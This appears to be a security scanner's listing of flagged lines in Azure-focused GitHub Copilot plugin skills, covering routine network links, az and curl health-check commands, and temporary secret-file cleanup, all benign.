[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Access to secretsline 314
[Credential-related source omitted] - Network accessline 335
{ "aud": "https://graph.microsoft.com", - Network accessline 336
"aud": "https://graph.microsoft.com", - Network accessline 337
"iss": "https://sts.windows.net/{tenant}/", - Network accessline 374
https://graph.microsoft.com/User.Read - Network accessline 375
https://graph.microsoft.com/Mail.Send - Network accessline 398
[OAuth 2.0 spec](https://www.rfc-editor.org/rfc/rfc6749)
harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/troubleshooting.md
- Network accessline 20
AADSTS50011: The redirect URI 'http://localhost:3000' specified in the request - Network accessline 30
Registered: https://myapp.com/callback - Network accessline 31
Request: https://myapp.com/callback/ ❌ (trailing slash) - Network accessline 32
Request: https://MyApp.com/callback ❌ (case difference) - Network accessline 33
Request: https://myapp.com/callback ✅ - Network accessline 39
# CLI: az ad app update --id $APP_ID \ --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 40
az ad app update --id $APP_ID --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 41
--web-redirect-uris "http://localhost:3000" "https://myapp.com/callback" - Network accessline 177
Unless the the access token is encrypted, you can decode and view its claims securely at https://jwt.ms. **Don't** use any other website to decode an access token. Compare the claims in the token with the app registration's configuration to - Network accessline 183
**Tool:** https://jwt.ms - Network accessline 268
- [Microsoft Q&A](https://learn.microsoft.com/answers/) - Network accessline 269
- [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)
harness/github-copilot/plugins/azure-governance/skills/azure-quotas/SKILL.md
- Network accessline 46
| **Key Commands** | `az quota list`, `az quota show`, `az quota usage list`, `az quota usage show` | | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/ - Network accessline 47
| **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | | **REST API** | Microsoft. - Network accessline 48
| **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | - Network accessline 53
> **⚠<U+FE0F> ALWAYS USE CLI FIRST** > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall - Network accessline 54
> > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits - Network accessline 55
> REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits do - Network accessline 237
| REST API "No Limit" | Misleading — not unlimited | Use CLI instead; see warning in Quick Reference | | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supporte - Network accessline 238
| `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-man - Network accessline 239
| `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 247
**Known unsupported providers:** - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits) - Network accessline 248
- ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits) - Network accessline 262
|----------|------| | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overv - Network accessline 263
| **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | | **Service L - Network accessline 264
| **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | - Network accessline 265
| **Service Limits Documentation** | [Azure subscription limits](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 266
| **Azure Portal - My Quotas** | [Portal Link](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) | - Network accessline 267
| **Request Quota Increases** | [How to request increases](https://learn.microsoft.com/en-us/azure/quotas/quickstart-increase-quota-portal) |
harness/github-copilot/plugins/azure-governance/skills/azure-quotas/references/commands.md
- Network accessline 18
> **Required workflow:** > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microso - Network accessline 19
> 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure- - Network accessline 20
> 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 31
> - ❌ This is NOT unlimited capacity > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-li - Network accessline 32
> - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits > - ✅ Regiona - Network accessline 33
> - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits - Network accessline 268
**Workarounds**: - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 269
- Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 295
> **DO NOT assume unlimited capacity. Always:** > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-ma - Network accessline 296
> 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limi - Network accessline 297
> 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 303
| Error | Cause | Solution | |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/managem - Network accessline 304
|-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-servic - Network accessline 305
| `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
harness/github-copilot/plugins/azure-governance/skills/azure-quotas/scripts/check-quota.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-governance/skills/azure-quotas/scripts/check-quota.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/plugins/azure-governance/skills/azure-well-architected-review/SKILL.md
- Network accessline 27
### Step 1: Load Well-Architected Framework Reference Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Network accessline 28
Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`) - Network accessline 29
- `https://learn.microsoft.com/en-us/azure/well-architected/` - Network accessline 30
- Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/references/steps/step-5-deploy.md
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/references/steps/step-6-summary.md
- Network accessline 22
echo "Endpoint not yet available — model may still be starting" else curl -X POST "${ENDPOINT}/v1/chat/completions" \ - Network accessline 23
else curl -X POST "${ENDPOINT}/v1/chat/completions" \ -H "Content-Type: application/json" \ - Network accessline 24
curl -X POST "${ENDPOINT}/v1/chat/completions" \ - Network accessline 30
> **If the endpoint is a cluster-internal URL** (e.g., `http://svc-name.namespace:port`), set up port-forwarding first: - Network accessline 35
> > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint - Network accessline 36
> kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint > ``` - Network accessline 37
> # Then use http://localhost:8080 as the endpoint
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-argocd-cli/references/commands.md
- Network accessline 7
# Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 8
helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 40
# Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \ - Network accessline 41
argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/aspnet-core.md
- Network accessline 180
- **Default port:** 8080 (since .NET 8; previously 80 in .NET 7 and earlier) - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080` - Network accessline 181
- **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080` - Network accessline 182
- **Code override:** `builder.WebHost.UseUrls("http://+:8080")` in `Program.cs`
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/django.md
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/fastapi.md
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/flask.md
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/go.md
- Network accessline 108
config.BeforeConnect = func(ctx context.Context, cfg *pgx.ConnConfig) error { token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, - Network accessline 109
token, err := cred.GetToken(ctx, policy.TokenRequestOptions{ Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, }) - Network accessline 110
Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"}, - Network accessline 199
The `./cmd/server` path is conventional for Go projects using the [Standard Go Project Layout](https://github.com/golang-standards/project-layout). Adjust to match the actual `main` package location.
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/phases/quick-deploy.md
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/references/detection.md
- Network accessline 32
| Source code | `app.listen(<number>)`, `.listen(<number>)`, `server.port=<number>` | `app.listen(3000)` | | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | ` - Network accessline 33
| `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` | | Framework defaults | Use known defaults if not - Network accessline 34
| `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` |
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/references/workload-identity.md
- Network accessline 39
Federated Credential ├── Issuer: https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id> - Network accessline 40
├── Issuer: https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id> - Network accessline 102
[Credential-related source omitted] - Network accessline 103
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Network accessline 118
new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" })); - Network accessline 182
[Credential-related source omitted] - Network accessline 183
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 196
[Credential-related source omitted] - Network accessline 198
new TokenRequestContext(new[] { "https://redis.azure.com/.default" }));
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.Dockerfile
- Network accessline 56
ENV ASPNETCORE_URLS="http://+:8080" \ - Network accessline 60
# No HEALTHCHECK: the aspnet runtime image does not include curl or wget. - Network accessline 61
# Kubernetes liveness/readiness probes (configured in deployment.yaml) handle # health checking in AKS. For local Docker usage, install wget or add # app.MapHealthChecks("/healthz") and use a custom health check binary. - Network accessline 62
# health checking in AKS. For local Docker usage, install wget or add
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.dockerignore
- Access to secretsline 7
[Credential-related source omitted]
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/go.dockerignore
- Access to secretsline 9
[Credential-related source omitted]
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.Dockerfile
- Network accessline 74
# No HEALTHCHECK: the JRE Alpine image does not include wget or curl.
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.dockerignore
- Access to secretsline 8
[Credential-related source omitted]
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/node.dockerignore
- Access to secretsline 4
[Credential-related source omitted]
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.Dockerfile
- Network accessline 60
# HEALTHCHECK is omitted — Kubernetes liveness/readiness probes handle health # checks in AKS. Adding a Dockerfile HEALTHCHECK would require installing curl # in the runtime image, increasing size and attack surface.
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.dockerignore
- Access to secretsline 8
[Credential-related source omitted]
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.Dockerfile
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.dockerignore
- Access to secretsline 3
[Credential-related source omitted]
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/mermaid/summary-dashboard.md
- Network accessline 17
| Resource | Type | Name | Portal Link | |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | - Network accessline 18
|----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` | - Network accessline 19
| Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | - Network accessline 20
| AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` | - Network accessline 21
| Container Registry | registries | {{ACR_NAME}} | `https://portal.azure.com/...` | - Network accessline 22
| {{BACKING_SERVICE}} | {{TYPE}} | {{NAME}} | `https://portal.azure.com/...` |
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/SKILL.md
- Network accessline 18
You are an AKS Automatic compatibility assessment agent. Your job is to evaluate whether Kubernetes workloads and cluster configurations are compatible with [AKS Automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic), i - Network accessline 118
If `mcp_azure_mcp_aks` is not available, inform the user: > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For n - Network accessline 119
> "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline."
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/references/mcp-integration.md
- Network accessline 93
"description": "OIDC issuer not enabled", "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>", "documentationUrl": "https://learn.microsoft.com/azure/aks/..." - Network accessline 94
"remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>", "documentationUrl": "https://learn.microsoft.com/azure/aks/..." } - Network accessline 95
"documentationUrl": "https://learn.microsoft.com/azure/aks/..." - Network accessline 162
If `mcp_azure_mcp_aks` is not available, say: > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local ma - Network accessline 163
> "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline — export them with `kubectl ge - Network accessline 199
| Error | Cause | Fix | |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | - Network accessline 200
|---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | | `HTTP 401 Unauthorized` | Not logged in | - Network accessline 201
| `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |
harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes/SKILL.md
- Network accessline 67
- **Azure CNI Overlay** (recommended): pod IPs from private overlay range, not VNet-routable, scales to large environments and good for most workloads - **Azure CNI (VNet-routable)**: pod IPs directly from VNet (pod subnet or node subnet), - Network accessline 69
- Docs: https://learn.microsoft.com/azure/aks/azure-cni-overlay
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/SKILL.md
- Network accessline 28
6. Destructive actions require `ask_user` — [functions global-rules](references/services/functions/global-rules.md) | [app-service global-rules](references/services/app-service/global-rules.md) 7. **Report progress to user** — During long-r - Network accessline 30
8. **Audit service discovery in app code** — Kubernetes DNS names (e.g., `http://order-service:3001`) do not resolve in Container Apps. During assessment, scan source code for hardcoded hostnames/ports in HTTP clients and flag them for env-
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/app-engine-to-app-service.md
- Network accessline 180
- [GCP to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/) - Network accessline 181
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 182
- [Cosmos DB migration options](https://learn.microsoft.com/en-us/azure/cosmos-db/migration-choices) - Network accessline 183
- [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/beanstalk-to-app-service.md
- Network accessline 165
- [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/) - Network accessline 166
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 167
- [App Service autoscale](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-get-started) - Network accessline 168
- [Azure Database Migration Service](https://learn.microsoft.com/en-us/azure/dms/dms-overview)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/code-migration.md
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/global-rules.md
- Network accessline 25
- Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overvie - Network accessline 26
- Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the - Network accessline 27
- **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the supported stacks page per language
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/heroku-to-app-service.md
- Network accessline 32
| Heroku Dyno Type | App Service Plan | Notes | |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. Se - Network accessline 33
|-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.mi - Network accessline 34
| Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.microsoft.com/azure/app-service/overview-hosting-pl - Access to secretsline 87
[Credential-related source omitted] - Network accessline 158
- [Heroku to Azure migration guide](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 159
- [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots) - Network accessline 160
- [GitHub Actions for App Service](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions) - Network accessline 161
- [App Service managed identity](https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/cloudrun-deployment-guide.md
- Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 193
FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -I "https://$FQDN/health" - Network accessline 194
curl -I "https://$FQDN/health" - Network accessline 201
$app = az containerapp show --name <app-name> -g $RG | ConvertFrom-Json Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health" - Network accessline 202
Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/deployment-guide.md
- Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Possible obfuscationline 111
$decodedSecretValue = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($secretValue)) - Network accessline 127
> ⚠<U+FE0F> **Warning: Service Discovery Changes** — In Kubernetes, pods reach other services by short DNS name (e.g., `http://order-service:3001`). In Container Apps, internal services use HTTPS FQDNs (e.g., `https://order-service.internal.<env-d - Network accessline 157
# Get app FQDN and test FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" - Network accessline 158
FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" curl https://$FQDN/health - Network accessline 159
echo "App URL: https://$FQDN" - Network accessline 160
curl https://$FQDN/health - Network accessline 167
$FQDN = az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "App URL: https://$FQDN" - Network accessline 168
Write-Host "App URL: https://$FQDN" - Network accessline 169
Invoke-WebRequest -Uri "https://$FQDN/health" -Method Head - Network accessline 185
| SecretRef not found | `--env-vars KEY=secretref:name` requires `--secrets name=value` (or keyvaultref) in the **same** `az containerapp create` command | | ARM deployment locks | If a Bicep deployment is stuck with Container Apps InProgre - Network accessline 187
| Service-to-service timeout | Kubernetes DNS names (`http://svc:port`) don't work in ACA. Ensure app code reads `ORDER_SERVICE_URL` (or equivalent) env var pointing to the internal FQDN |
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/fargate-deployment-guide.md
- Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Dangerous shell operationline 113
trap 'rm -f "$secret_file"' EXIT - Dangerous shell operationline 118
rm -f "$secret_file" - Network accessline 197
set -euo pipefail FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } - Network accessline 198
FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } az containerapp logs show --name <app-name> -g "$RG" - - Network accessline 199
curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } - Network accessline 204
$ErrorActionPreference = 'Stop' $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head - Network accessline 205
$fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head az containerapp logs show --name <app-name> -g $env:RG --tail 100 - Network accessline 206
Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/fargate-to-container-apps.md
- Network accessline 67
- [Azure Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) - Network accessline 68
- [AWS to Azure services comparison](https://learn.microsoft.com/azure/architecture/aws-professional/services) - Network accessline 69
- [Container Apps scaling](https://learn.microsoft.com/azure/container-apps/scale-app) - Network accessline 70
- [Container Apps managed identity](https://learn.microsoft.com/azure/container-apps/managed-identity)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/spring-assessment-guide.md
- Network accessline 33
### Spring Boot Version Requirements - **Recommended target**: Spring Boot 3.x (requires Java 17+) - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.c - Network accessline 35
- **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Migration-Guide) - Network accessline 37
### Spring Cloud Compatibility - Verify Spring Cloud version matches Spring Boot 3.x requirements - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview) - Network accessline 39
- See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/spring-deployment-guide.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Dangerous shell operationline 102
trap 'shred -u "$SECRET_FILE" 2>/dev/null || rm -f "$SECRET_FILE"' EXIT - Network accessline 236
FQDN=$(az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv) echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" - Network accessline 237
echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" az containerapp logs show --name spring-app --resource-group spring-rg --tail 50 - Network accessline 238
curl "https://${FQDN}/actuator/health" - Network accessline 244
$FQDN = az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "Application URL: https://${FQDN}" - Network accessline 245
Write-Host "Application URL: https://${FQDN}" - Network accessline 246
Invoke-WebRequest "https://${FQDN}/actuator/health" - Network accessline 256
az containerapp env java-component config-server-for-spring create --environment spring-env --resource-group spring-rg --name config-server --min-replicas 1 --max-replicas 1 --configuration spring.cloud.config.server.git.uri=https: - Network accessline 257
--environment spring-env --resource-group spring-rg --name config-server \ --min-replicas 1 --max-replicas 1 \ --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 258
--min-replicas 1 --max-replicas 1 \ --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server - Network accessline 259
--configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 265
az containerapp env java-component config-server-for-spring create --environment spring-env --resource-group spring-rg --name config-server --min-replicas 1 --max-replicas 1 --configuration spring.cloud.config.server.git.uri=https: - Network accessline 266
--environment spring-env --resource-group spring-rg --name config-server ` --min-replicas 1 --max-replicas 1 ` --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 267
--min-replicas 1 --max-replicas 1 ` --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server - Network accessline 268
--configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/code-migration.md
- Network accessline 16
